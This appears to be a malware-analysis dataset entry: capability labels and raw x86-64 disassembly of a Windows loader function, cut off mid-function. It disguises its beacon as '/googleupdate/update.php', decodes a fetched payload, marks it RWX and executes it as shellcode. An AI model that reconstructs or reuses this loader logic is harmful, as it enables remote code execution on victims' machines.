Function at 0x140004500
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Create process on windows
Execute shellcode via indirect call
Get common file path
Get hostname
Hash data with md5

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x6b0]
sub rsp, 0x7b0
mov rax, qword [0x140247670]
xor rax, rsp
mov qword [rbp + 0x6a0], rax
xor r14d, r14d
lea r8, str.ProcessMM_Flash
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000456a
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400057e1
mov r8d, 0x104
lea rdx, [rbp + 0x480]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rbp + 0x590]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edi, 5
mov edx, edi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov dword [rbp + 0x290], 0x10
lea rdx, [rbp + 0x290]
lea rsi, [0x140254870]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
cmp eax, 0xffffffff
je 0x1400057e1
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x70], r14
mov r15, 0xffffffffffffffff
mov r8, r15
inc r8
cmp byte [rsi + r8], r14b
jne 0x1400045e4
mov rdx, rsi
lea rcx, [rsp + 0x78]
call fcn.140002ed0
nop
mov byte [rbp + 0x158], 0
mov qword [rbp + 0x100], r14
mov dword [rbp + 0xf0], 0x67452301
mov dword [rbp + 0xf4], 0xefcdab89
mov dword [rbp + 0xf8], 0x98badcfe
mov dword [rbp + 0xfc], 0x10325476
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0x10
cmovae rdx, qword [rsp + 0x78]
mov r8, qword [rbp - 0x78]
lea rcx, [rbp + 0xf0]
call fcn.14000a360
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0xf0]
call fcn.14000ad10
mov rbx, rax
cmp qword [rax + 0x18], 0x10
jb 0x140004671
mov rbx, qword [rax]
call fcn.14000ee9c
mov rcx, rax
test rax, rax
je 0x14000581e
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x298], rax
mov rdx, rbx
lea rcx, [rbp + 0x298]
call fcn.140007540
test al, al
jne 0x1400046cd
test rbx, rbx
jne 0x1400046b0
mov r8d, r14d
jmp 0x1400046bd
mov r8, r15
inc r8
cmp byte [rbx + r8], 0
jne 0x1400046b3
mov rdx, rbx
lea rcx, [rbp + 0x298]
call fcn.140008a70
nop
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x14000470e
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004709
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005829
call fcn.14000da18
movdqa xmm0, xmmword [0x140215740]
movdqu xmmword [rbp + 0xe0], xmm0
mov byte [rbp + 0xd0], 0
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x140004761
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000475c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000582f
call fcn.14000da18
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], 0
call fcn.14000ee9c
mov rcx, rax
test rax, rax
je 0x140005835
mov rax, qword [rax]
call qword [rax + 0x18]
lea rcx, [rax + 0x18]
mov qword [rbp + 0x2a8], rcx
lea rdx, [rbp + 0x340]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp rax, 0xffffffffffffffff
jne 0x14000486d
call fcn.14000ee9c
mov rcx, rax
test rax, rax
je 0x140005840
mov rax, qword [rax]
call qword [rax + 0x18]
mov rbx, rax
lea rcx, [rax + 0x18]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2b0], xmm0
movups xmmword [rbp + 0x2c0], xmm0
movups xmmword [rbp + 0x2d0], xmm0
movups xmmword [rbp + 0x2e0], xmm0
movups xmmword [rbp + 0x2f0], xmm0
movups xmmword [rbp + 0x300], xmm0
mov qword [rbp + 0x310], rax
mov dword [rbp + 0x2b0], 0x68
mov dword [rbp + 0x2ec], 1
mov word [rbp + 0x2f0], di
lea rax, [rbp + 0x320]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x2b0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, r15d
lock xadd dword [rbx + 0x10], eax
sub eax, 1
jg 0x14000486d
mov rcx, qword [rbx]
mov rax, qword [rcx]
mov rdx, rbx
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
call fcn.14000ee9c
mov rcx, rax
test rax, rax
je 0x14000584b
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x280], rax
lea rbx, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov rdx, rbx
lea rcx, [rbp + 0x280]
call fcn.140007540
test al, al
jne 0x1400048ca
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x1400048b0
mov rdx, rbx
lea rcx, [rbp + 0x280]
call fcn.140008a70
nop
call fcn.14000ee9c
mov rcx, rax
test rax, rax
je 0x140005856
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x250], r14
lea rcx, [rbp + 0x250]
call fcn.140004080
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], r14
mov r8, r15
inc r8
cmp byte [rsi + r8], 0
jne 0x140004912
mov rdx, rsi
lea rcx, [rbp - 0x48]
call fcn.140002ed0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
movdqa xmm1, xmmword [0x140215740]
movdqu xmmword [rbp + 0x20], xmm1
mov byte [rbp + 0x10], 0
mov r8d, 0x40
lea rcx, [rbp + 0x10]
call fcn.140008cc0
nop
mov r8, qword [rbp + 0x250]
mov ebx, dword [r8 - 0x10]
cmp dword [r8 - 8], 1
jle 0x140004978
mov edx, ebx
lea rcx, [rbp + 0x250]
call fcn.140007750
mov r8, qword [rbp + 0x250]
mov r9d, ebx
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x10]
call fcn.140002630
mov rdi, rax
mov byte [rbp + 0x1c8], 0
mov qword [rbp + 0x170], r14
mov dword [rbp + 0x160], 0x67452301
mov dword [rbp + 0x164], 0xefcdab89
mov dword [rbp + 0x168], 0x98badcfe
mov dword [rbp + 0x16c], 0x10325476
lea rdx, [rbp - 0x48]
cmp qword [rbp - 0x30], 0x10
cmovae rdx, qword [rbp - 0x48]
mov r8, qword [rbp - 0x38]
lea rcx, [rbp + 0x160]
call fcn.14000a360
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x160]
call fcn.14000ad10
mov rbx, rax
cmp qword [rax + 0x18], 0x10
jb 0x140004a02
mov rbx, qword [rax]
call fcn.14000ee9c
mov rcx, rax
test rax, rax
je 0x140005861
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x58], rax
mov rdx, rbx
lea rcx, [rsp + 0x58]
call fcn.140007540
test al, al
jne 0x140004a58
test rbx, rbx
jne 0x140004a3d
mov r8d, r14d
jmp 0x140004a4a
mov r8, r15
inc r8
cmp byte [rbx + r8], 0
jne 0x140004a40
mov rdx, rbx
lea rcx, [rsp + 0x58]
call fcn.140008a70
nop
cmp qword [rdi + 0x18], 0x10
jb 0x140004a62
mov rdi, qword [rdi]
mov r9, rdi
mov rbx, qword [rsp + 0x58]
mov r8, rbx
lea rdx, str._googleupdate_update.php_id_sps_s
lea rcx, [rbp + 0x2a0]
call fcn.140009300
nop
lea rdx, [rbx - 0x18]
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140004a9c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0x10
jb 0x140004add
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004ad8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000586c
call fcn.14000da18
movdqa xmm0, xmmword [0x140215740]
movdqu xmmword [rbp + 0xc0], xmm0
mov byte [rbp + 0xb0], 0
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x140004b35
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004b30
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005872
call fcn.14000da18
movdqa xmm0, xmmword [0x140215740]
movdqu xmmword [rbp + 0xa0], xmm0
mov byte [rbp + 0x90], 0
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x140004b88
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004b82
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005878
call fcn.14000da18
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x140004bc3
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004bbe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000587e
call fcn.14000da18
mov rdx, qword [rbp + 0x2a0]
lea rcx, [rbp - 0x28]
call fcn.140005950
nop
mov r9, qword [rax]
lea rcx, [rbp - 0x18]
call fcn.1400041e0
nop
mov rdx, qword [rax]
cmp dword [rdx - 8], 1
jle 0x140004bf6
mov edx, dword [rdx - 0x10]
mov rcx, rax
call fcn.140007750
nop
mov rdx, qword [rbp - 0x18]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140004c15
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x28]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140004c33
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
call fcn.14000ee9c
mov rcx, rax
test rax, rax
je 0x140005884
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x278], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x50], r14
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rsi + r8], 0
jne 0x140004c70
mov rdx, rsi
lea rcx, [rbp - 0x68]
call fcn.140002ed0
nop
mov byte [rbp + 0x238], 0
mov qword [rbp + 0x1e0], r14
mov dword [rbp + 0x1d0], 0x67452301
mov dword [rbp + 0x1d4], 0xefcdab89
mov dword [rbp + 0x1d8], 0x98badcfe
mov dword [rbp + 0x1dc], 0x10325476
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rdx, qword [rbp - 0x68]
mov r8, qword [rbp - 0x58]
lea rcx, [rbp + 0x1d0]
call fcn.14000a360
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x1d0]
call fcn.14000ad10
nop
cmp qword [rax + 0x18], 0x10
jb 0x140004cf6
mov rax, qword [rax]
mov r8, rax
lea rdx, str._googleupdate__s
lea rcx, [rbp + 0x278]
call fcn.140009300
nop
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x140004d4b
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004d46
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000588f
call fcn.14000da18
movdqa xmm0, xmmword [0x140215740]
movdqu xmmword [rbp + 0x80], xmm0
mov byte [rbp + 0x70], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x140004d9a
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004d95
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005895
call fcn.14000da18
mov rdx, qword [rbp + 0x278]
lea rcx, [rbp - 8]
call fcn.140005950
nop
mov r9, qword [rax]
lea rcx, [rbp - 0x10]
call fcn.1400041e0
mov rbx, rax
mov rdx, qword [rax]
cmp dword [rdx - 8], 1
jle 0x140004dce
mov edx, dword [rdx - 0x10]
mov rcx, rax
call fcn.140007750
mov rbx, qword [rbx]
call fcn.14000ee9c
mov rcx, rax
test rax, rax
je 0x14000589b
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x270], rax
mov rdx, rbx
lea rcx, [rbp + 0x270]
call fcn.140007540
test al, al
jne 0x140004e2d
test rbx, rbx
jne 0x140004e10
mov r8d, r14d
jmp 0x140004e1d
mov r8, r15
inc r8
cmp byte [rbx + r8], 0
jne 0x140004e13
mov rdx, rbx
lea rcx, [rbp + 0x270]
call fcn.140008a70
nop
mov rdx, qword [rbp - 0x10]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140004e4c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 8]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140004e6a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rax, qword [rbp + 0x270]
cmp dword [rax - 0x10], 0
jne 0x140004f0e
nop dword [rax + rax]
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdx, qword [rbp + 0x278]
lea rcx, [rbp + 8]
call fcn.140005950
nop
mov r9, qword [rax]
lea rcx, [rbp]
call fcn.1400041e0
nop
mov r8, qword [rax]
lea rdx, [0x1402156d4]
lea rcx, [rbp + 0x270]
call fcn.140009300
nop
mov rdx, qword [rbp]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140004edf
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 8]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140004efd
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rax, qword [rbp + 0x270]
cmp dword [rax - 0x10], 0
je 0x140004e80
lea rsi, [rax - 0x18]
mov qword [rbp - 0x20], rsi
mov rcx, qword [rsi]
mov rax, qword [rcx]
call qword [rax + 0x20]
mov rcx, rax
cmp dword [rsi + 0x10], 0
jl 0x140004f39
cmp rax, qword [rsi]
jne 0x140004f39
mov rbx, rsi
lock inc dword [rsi + 0x10]
jmp 0x140004fc2
mov rax, qword [rax]
mov r8d, 1
mov edx, dword [rsi + 8]
call qword [rax]
mov rbx, rax
test rax, rax
je 0x1400058a6
mov ecx, dword [rsi + 8]
mov dword [rax + 8], ecx
mov eax, dword [rsi + 8]
add eax, 1
movsxd rdi, eax
lea r14, [rsi + 0x18]
lea eax, [rcx + 1]
movsxd rsi, eax
lea rcx, [rbx + 0x18]
je 0x140004fbf
test rcx, rcx
jne 0x140004f84
call fcn.140197bec
mov dword [rax], 0x16
jmp 0x140004fba
test r14, r14
je 0x140004f9b
cmp rsi, rdi
jb 0x140004f9b
mov r8, rdi
mov rdx, r14
call fcn.14018f310
jmp 0x140004fbf
mov r8, rsi
xor edx, edx
call fcn.14018f9d0
test r14, r14
je 0x140004f77
cmp rsi, rdi
jae 0x140004fbf
call fcn.140197bec
mov dword [rax], 0x22
call fcn.140193ac8
xor r14d, r14d
add rbx, 0x18
mov qword [rbp + 0x258], rbx
call fcn.14000ee9c
mov rcx, rax
test rax, rax
je 0x1400058ac
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x260], rax
call fcn.14000ee9c
mov rcx, rax
test rax, rax
je 0x1400058b7
mov rax, qword [rax]
call qword [rax + 0x18]
lea rdi, [rax + 0x18]
mov qword [rbp + 0x248], rdi
mov r12d, r14d
cmp dword [rbx - 0x10], 0
jle 0x140005100
mov r15, r14
mov rsi, qword [rbp + 0x280]
cmp dword [rbx - 8], 1
jle 0x140005044
mov edx, dword [rbx - 0x10]
lea rcx, [rbp + 0x258]
call fcn.140007750
mov rbx, qword [rbp + 0x258]
mov r14, rbx
cmp dword [rbx - 8], 1
jle 0x140005063
mov edx, dword [rbx - 0x10]
lea rcx, [rbp + 0x258]
call fcn.140007750
mov rbx, qword [rbp + 0x258]
movsx r9d, byte [r15 + rbx + 1]
movsx r8d, byte [r14 + r15]
lea rdx, str._c_c
lea rcx, [rbp + 0x260]
call fcn.140009300
mov rcx, qword [rbp + 0x260]
cmp dword [rcx - 8], 1
jle 0x1400050a4
mov edx, dword [rcx - 0x10]
lea rcx, [rbp + 0x260]
call fcn.140007750
mov rcx, qword [rbp + 0x260]
xor edx, edx
lea r8d, [rdx + 0xa]
call fcn.140194d90
test eax, eax
js 0x1400058cd
cmp eax, dword [rsi - 0x10]
jg 0x1400058cd
cdqe
movsx r9d, byte [rax + rsi]
mov r8, rdi
lea rdx, str._s_c
lea rcx, [rbp + 0x248]
call fcn.140009300
add r12d, 2
add r15, 2
mov rdi, qword [rbp + 0x248]
cmp r12d, dword [rbx - 0x10]
jl 0x140005028
mov r15, 0xffffffffffffffff
xor r14d, r14d
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [0x140215740]
movdqu xmmword [rbp + 0x40], xmm1
mov byte [rbp + 0x30], 0
mov r8d, 0x40
lea rcx, [rbp + 0x30]
call fcn.140008cc0
nop
mov ebx, dword [rdi - 0x10]
cmp dword [rdi - 8], 1
jle 0x140005146
mov edx, ebx
lea rcx, [rbp + 0x248]
call fcn.140007750
mov rdi, qword [rbp + 0x248]
mov r9d, ebx
mov r8, rdi
lea rdx, [rbp + 0x50]
call fcn.1400029f0
mov rbx, rax
cmp qword [rax + 0x18], 0x10
jb 0x140005162
mov rbx, qword [rax]
call fcn.14000ee9c
mov rcx, rax
test rax, rax
je 0x1400058c2
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x240], rax
mov rdx, rbx
lea rcx, [rbp + 0x240]
call fcn.140007540
test al, al
jne 0x1400051be
test rbx, rbx
jne 0x1400051a1
mov r8d, r14d
jmp 0x1400051ae
mov r8, r15
inc r8
cmp byte [rbx + r8], 0
jne 0x1400051a4
mov rdx, rbx
lea rcx, [rbp + 0x240]
call fcn.140008a70
nop
mov rdx, qword [rbp + 0x68]
cmp rdx, 0x10
jb 0x1400051f9
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400051f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400058d8
call fcn.14000da18
movdqa xmm0, xmmword [0x140215740]
movdqu xmmword [rbp + 0x60], xmm0
mov byte [rbp + 0x50], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x140005245
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005240
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400058de
call fcn.14000da18
lea rcx, [0x1402156e8]
mov r13, r15
nop
inc r13
cmp byte [rcx + r13], 0
jne 0x140005250
test r13d, r13d
je 0x14000549c
lea rdx, [0x140215495]
mov rax, r15
nop dword [rax]
inc rax
cmp byte [rdx + rax], 0
jne 0x140005270
mov qword [rsp + 0x60], rax
mov esi, r14d
mov rbx, qword [rbp + 0x240]
mov rdi, rbx
lea r12, [rbx - 0x10]
movsxd r15, dword [r12]
add r15, rbx
cmp rbx, r15
jae 0x1400054a3
mov rbx, 0xffffffffffffffff
jmp 0x1400052b7
lea rcx, [0x1402156e8]
mov rdx, rcx
mov rcx, rdi
call fcn.140197da0
test rax, rax
je 0x1400052ed
movsxd r14, r13d
nop word [rax + rax]
inc esi
lea rdi, [r14 + rax]
lea rdx, [0x1402156e8]
mov rcx, rdi
call fcn.140197da0
test rax, rax
jne 0x1400052d0
xor r14d, r14d
test rdi, rdi
je 0x140005300
mov rax, rbx
inc rax
cmp byte [rdi + rax], 0
jne 0x1400052f5
jmp 0x140005303
mov eax, r14d
inc eax
movsxd rcx, eax
add rdi, rcx
cmp rdi, r15
jb 0x1400052b0
test esi, esi
mov rbx, qword [rbp + 0x240]
jle 0x1400054a3
movsxd r12, dword [r12]
mov r14, qword [rsp + 0x60]
mov r15d, r14d
sub r15d, r13d
imul r15d, esi
add r15d, r12d
mov dword [rsp + 0x50], r15d
mov edx, r12d
cmp r15d, r12d
cmovg edx, r15d
test edx, edx
js 0x1400058fa
mov ecx, 1
sub ecx, dword [rbx - 8]
mov eax, dword [rbx - 0xc]
sub eax, edx
or eax, ecx
jge 0x140005370
lea rcx, [rbp + 0x240]
call fcn.140008a00
mov rbx, qword [rbp + 0x240]
mov rdi, rbx
lea rax, [rbx + r12]
mov qword [rsp + 0x68], rax
cmp rbx, rax
jae 0x14000547c
nop word [rax + rax]
lea rdx, [0x1402156e8]
mov rcx, rdi
call fcn.140197da0
mov rsi, rax
test rax, rax
je 0x14000544b
movsxd rax, r13d
mov qword [rsp + 0x70], rax
movsxd r15, r14d
nop word [rax + rax]
sub r12d, r13d
mov r14d, r12d
sub r14d, esi
add r14d, ebx
movsxd r8, r14d
lea rdx, [rax + rsi]
lea rdi, [r15 + rsi]
je 0x1400053f3
test rdi, rdi
je 0x1400058e4
test rdx, rdx
je 0x1400058e4
mov rcx, rdi
call fcn.14018f310
test r15, r15
je 0x140005413
test rsi, rsi
je 0x1400058e4
mov r8, r15
lea rdx, [0x140215495]
mov rcx, rsi
call fcn.14018f310
mov rdx, qword [rsp + 0x60]
lea eax, [r14 + rdx]
movsxd rcx, eax
mov byte [rcx + rsi], 0
add r12d, edx
lea rdx, [0x1402156e8]
mov rcx, rdi
call fcn.140197da0
mov rsi, rax
test rax, rax
mov rax, qword [rsp + 0x70]
jne 0x1400053c0
mov r14, qword [rsp + 0x60]
test rdi, rdi
je 0x140005462
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rdi + rax], 0
jne 0x140005457
jmp 0x140005464
xor eax, eax
inc eax
movsxd rcx, eax
add rdi, rcx
cmp rdi, qword [rsp + 0x68]
jb 0x140005390
mov r15d, dword [rsp + 0x50]
test r15d, r15d
js 0x1400058fa
cmp r15d, dword [rbx - 0xc]
jg 0x1400058fa
mov dword [rbx - 0x10], r15d
movsxd rax, r15d
mov byte [rax + rbx], 0
jmp 0x1400054a3
mov rbx, qword [rbp + 0x240]
lea rsi, [rbx - 0x10]
mov qword [rsp + 0x70], rsi
mov eax, dword [rsi]
cdq
sub eax, edx
sar eax, 1
movsxd r13, eax
mov rcx, r13
call fcn.14000da10
mov rdi, rax
mov qword [rsp + 0x68], rax
xor r12d, r12d
test r13, r13
jle 0x14000565a
xor r15d, r15d
nop word [rax + rax]
mov qword [rbp + 0x288], 0
xor edi, edi
test r12d, r12d
cmovns edi, r12d
mov eax, 0x7fffffff
sub eax, edi
cmp eax, 2
jl 0x140005813
lea eax, [rdi + 2]
mov ecx, dword [rsi]
mov edx, 2
cmp eax, ecx
jle 0x140005516
mov edx, ecx
sub edx, edi
xor esi, esi
cmp edi, ecx
cmovle esi, edx
test edi, edi
jne 0x140005544
cmp esi, ecx
jne 0x140005544
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x288]
call fcn.140006370
mov rbx, qword [rbp + 0x288]
jmp 0x14000560a
mov rcx, qword [rbx - 0x18]
test rcx, rcx
je 0x140005566
mov rax, qword [rcx]
call qword [rax + 0x20]
mov rcx, rax
test rax, rax
je 0x140005566
movsxd rdi, edi
add rdi, rbx
mov r14, rdi
jmp 0x140005589
call fcn.14000ee9c
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x20]
mov rcx, rax
movsxd rdi, edi
add rdi, rbx
mov r14, rdi
test rax, rax
je 0x14000590b
test r14, r14
jne 0x140005596
test esi, esi
jne 0x1400058fa
mov rax, qword [rcx]
mov r8d, 1
mov edx, esi
call qword [rax]
test rax, rax
je 0x140005905
lea rbx, [rax + 0x18]
mov qword [rbp + 0x288], rbx
test esi, esi
js 0x1400058fa
cmp esi, dword [rbx - 0xc]
jg 0x1400058fa
mov dword [rbx - 0x10], esi
movsxd r8, esi
mov byte [r8 + rbx], 0
test esi, esi
je 0x14000560a
test rbx, rbx
je 0x1400055fa
mov rcx, rbx
test r14, r14
je 0x1400055ee
mov rdx, r14
call fcn.14018f310
jmp 0x14000560a
xor edx, edx
call fcn.14018f9d0
test rdi, rdi
jne 0x14000560a
call fcn.140197bec
mov dword [rax], 0x16
call fcn.140193ac8
xor edx, edx
lea r8d, [rdx + 0x10]
mov rcx, rbx
call fcn.140194d90
mov rdi, qword [rsp + 0x68]
mov byte [r15 + rdi], al
lea rdx, [rbx - 0x18]
mov eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000563d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
add r12d, 2
inc r15
mov rbx, qword [rbp + 0x240]
cmp r15, r13
jge 0x14000565a
mov rsi, qword [rsp + 0x70]
jmp 0x1400054e0
mov dword [rbp + 0x268], 0
lea r9, [rbp + 0x268]
mov r8d, 0x40
mov rdx, r13
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rdi
nop
lea rdx, [rbx - 0x18]
mov rbx, 0xffffffffffffffff
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400056a1
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x248]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400056c2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x260]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400056e3
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x258]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140005704
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, ebx
mov rdx, qword [rbp - 0x20]
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000571e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x278]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000573f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x250]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140005760
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x2a0]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140005781
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x280]
add rdx, 0xffffffffffffffe8
